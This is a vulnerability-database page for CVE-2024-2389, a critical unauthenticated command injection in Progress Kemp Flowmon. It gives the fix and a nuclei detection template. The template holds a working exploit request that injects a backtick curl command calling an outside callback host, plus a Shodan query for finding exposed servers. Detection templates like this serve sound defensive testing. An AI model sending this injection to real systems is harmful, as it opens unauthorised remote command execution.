HexBrain

Browse / CVEs / CVE-2024-2389

CVE-2024-2389· CWE-78

Progress Kemp Flowmon - Command Injection

criticalseverity
10CVSS score
93%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

In Flowmon versions prior to 11.1.14 and 12.3.5, an operating system command injection vulnerability has been identified. An unauthenticated user can gain entry to the system via the Flowmon management interface, allowing for the execution of arbitrary system commands.

Impact

Unauthenticated attackers can execute arbitrary system commands through the Flowmon management interface, leading to complete system compromise.

Fix

Update Progress Kemp Flowmon to version 11.1.14 or 12.3.5 or later.

How to confirm it

Send: GET {{BaseURL}}/service.pdfs/confluence?lang=en&file=`curl+{{interactsh-url}}`
Positive when: contains(interactsh_protocol, 'http') and contains(header, 'application/json') && contains(header, 'Flowmon')

Run it with nuclei: nuclei -id CVE-2024-2389 -u <target>

The full check
id: CVE-2024-2389

info:
  name: Progress Kemp Flowmon - Command Injection
  author: pdresearch,parthmalhotra
  severity: critical
  description: |
    In Flowmon versions prior to 11.1.14 and 12.3.5, an operating system command injection vulnerability has been identified. An unauthenticated user can gain entry to the system via the Flowmon management interface, allowing for the execution of arbitrary system commands.
  impact: |
    Unauthenticated attackers can execute arbitrary system commands through the Flowmon management interface, leading to complete system compromise.
  remediation: |
    Update Progress Kemp Flowmon to version 11.1.14 or 12.3.5 or later.
  reference:
    - https://support.kemptechnologies.com/hc/en-us/articles/24878235038733-CVE-2024-2389-Flowmon-critical-security-vulnerability
    - https://www.flowmon.com
    - https://twitter.com/wvuuuuuuuuuuuuu/status/1777977522140950640
    - https://github.com/adhikara13/CVE-2024-2389
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2024-2389
    cwe-id: CWE-78
    epss-score: 0.93037
    epss-percentile: 0.99833
  metadata:
    verified: true
    max-request: 1
    shodan-query: 'Server: Flowmon'
  tags: cve,cve2024,progress,rce,flowmon,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/service.pdfs/confluence?lang=en&file=`curl+{{interactsh-url}}`"

    matchers:
      - type: dsl
        dsl:
          - contains(interactsh_protocol, 'http')
          - contains(header, 'application/json') && contains(header, 'Flowmon')
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from